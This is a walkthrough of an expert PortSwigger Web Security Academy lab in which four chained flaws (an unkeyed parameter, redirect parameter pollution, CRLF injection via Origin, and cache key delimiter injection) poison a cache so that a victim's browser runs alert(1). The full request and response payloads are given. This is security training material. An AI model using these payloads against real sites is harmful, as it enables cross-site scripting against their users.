| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Web Cache Poisoning — Cache Key Injection, 4 Chained Vulnerabilities |
| Difficulty | Expert |
| Objective | Combine the vulnerabilities to execute alert(1) in the victim's browser |
| Note | Requires Pragma: x-get-cache-key header to identify cache key structure |
Cache Key Injection¶
The root / responds with a 302 to /login?lang=en, which redirects again to /login/?lang=en:
GET / HTTP/2
→ 302 Location: /login?lang=en (Cache-Control: max-age=35)
→ 302 Location: /login/?lang=en (Cache-Control: max-age=35)
→ 200 (Cache-Control: no-cache)
The final 200 at /login/?lang=en is not cached, but the intermediate redirects are. Its response body includes a canonical link and a script import:
<link rel="canonical" href='//0ad300f504ff9adb84b4c21e00b2006c.web-security-academy.net/login/?lang=en'/>
<script src='/js/localize.js?lang=en&cors=0'></script>
Requesting /login/?lang=en' showed the single quote gets HTML-encoded as ' — can't inject into the canonical link context directly.
Checking /js/localize.js?lang=teto returned document.cookie = 'lang=teto'; — the lang value reflects directly into JavaScript with no encoding. That's a potential injection point. Adding Pragma: x-get-cache-key to requests revealed the actual cache key the server computed:
X-Cache-Key: /js/localize.js?lang=teto&cors=0$$
The $$ terminates the cache key — anything after it in the key doesn't affect which cache entry gets stored or retrieved. This header is not a standard production feature; it's a debug capability exposed by this lab's cache implementation. In a real target, inferring the cache key structure would require behavioral analysis rather than direct disclosure.
This lab chains four separate vulnerabilities. Each builds on the previous one.
Vuln 1 — Unkeyed utm_content with flawed regex stripping. Running Param Miner on GET /login/?lang=en found utm_content as excluded from the cache key.
The regex strips &utm_content=... but not ?utm_content= — so sending ?lang=en?utm_content=1 appends everything after ?utm_content= to the lang value itself:
GET /login/?lang=en?utm_content=1 HTTP/2
→ <script src='/js/localize.js?lang=en?utm_content=1&cors=0'>
Vuln 2 — lang parameter in the /login?lang=en redirect controls the localize.js import URL. The 302 from /login?lang=en builds its redirect Location dynamically from lang. Sending ?lang=en?utm_content=teto%26cors=1 redirects to /login/?lang=en?utm_content=teto&cors=1, making the page import:
<script src='/js/localize.js?lang=en?utm_content=teto&cors=1&cors=0'>
The cors=1 we injected through lang now appears in the localize.js import URL.
Vuln 3 — CRLF injection via Origin header when cors=1. When cors=1, the Origin header value gets reflected into the response as Access-Control-Allow-Origin and also included in the cache key:
GET /js/localize.js?lang=teto&cors=1 HTTP/2
Origin: miku.com%0d%0aTetohead:%20teto
→ Access-Control-Allow-Origin: miku.com
Tetohead: teto
X-Cache-Key: /js/localize.js?lang=teto&cors=1$$origin=miku.com%0d%0aTetohead:%20teto
CRLF injection via Origin injects arbitrary response headers, and because Origin is part of the cache key when cors=1, the injected content ends up inside the cache key itself.
Vuln 4 — Cache key delimiter injection via $$. Injecting $$$$ (double $$) into the Origin CRLF payload causes the cache to treat $$$$ as a terminator, making the injected content become part of the cache key structure rather than arbitrary noise. Combined with Content-Length: 8 + body alert(1) via CRLF, the response body gets overwritten:
GET /js/localize.js?lang=teto&cors=1 HTTP/2
Origin: miku.com%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)
→ Content-Length: 8
→ alert(1)
X-Cache-Key: /js/localize.js?lang=teto&cors=1$$origin=miku.com%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)
With all four vulnerabilities mapped, the chain needs two poisoned cache entries working simultaneously.
Poisoned request 1 — localize.js (CRLF + body injection):
GET /js/localize.js?lang=en?utm_content=teto&cors=1 HTTP/2
Host: 0ad300f504ff9adb84b4c21e00b2006c.web-security-academy.net
Pragma: x-get-cache-key
Origin: miku.com%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$
Response:
HTTP/2 200 OK
Access-Control-Allow-Origin: miku.com
Cache-Control: max-age=35
X-Cache-Key: /js/localize.js?lang=en?cors=1$$origin=miku.com%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$
X-Cache: hit
Content-Length: 8
alert(1)
The $$$$ double-terminates the cache key, and the injected Content-Length: 8 truncates the response body to alert(1). This response is now cached under a predictable key.
Poisoned request 2 — /login?lang=en redirect (parameter pollution to point at the poisoned localize.js key):
GET /login?lang=en?utm_content=teto%26cors=1$$origin=miku.com%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
Host: 0ad300f504ff9adb84b4c21e00b2006c.web-security-academy.net
Pragma: x-get-cache-key
Response:
HTTP/2 302 Found
Location: /login/?lang=en?utm_content=teto%26cors=1$$origin=miku.com%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23
Cache-Control: max-age=35
X-Cache-Key: /login?lang=en$$
X-Cache: hit
The cache key for this redirect is the clean /login?lang=en$$ — utm_content is excluded as expected. But the redirect Location carries the full poisoned path, double-URL-encoded (%25 for %) so the %0d%0a arrives as %0d%0a at the next server rather than being decoded to actual CRLF too early when the browser follows the redirect. The %23 (#) at the end fragments out the trailing &cors=0 that the login page would otherwise append.
When a victim hits / → /login?lang=en (the cached poisoned redirect), they land at:
/login/?lang=en?utm_content=teto&cors=1$$origin=miku.com%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)$$#
which makes the login page import:
<script src='/js/localize.js?lang=en?utm_content=teto&cors=1$$origin=miku.com%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$#&cors=0'></script>
That URL matches the cache key for the poisoned localize.js response, serving alert(1) as the script body.
Verifying the chain with Pragma: x-get-cache-key:
Lab solved 0.0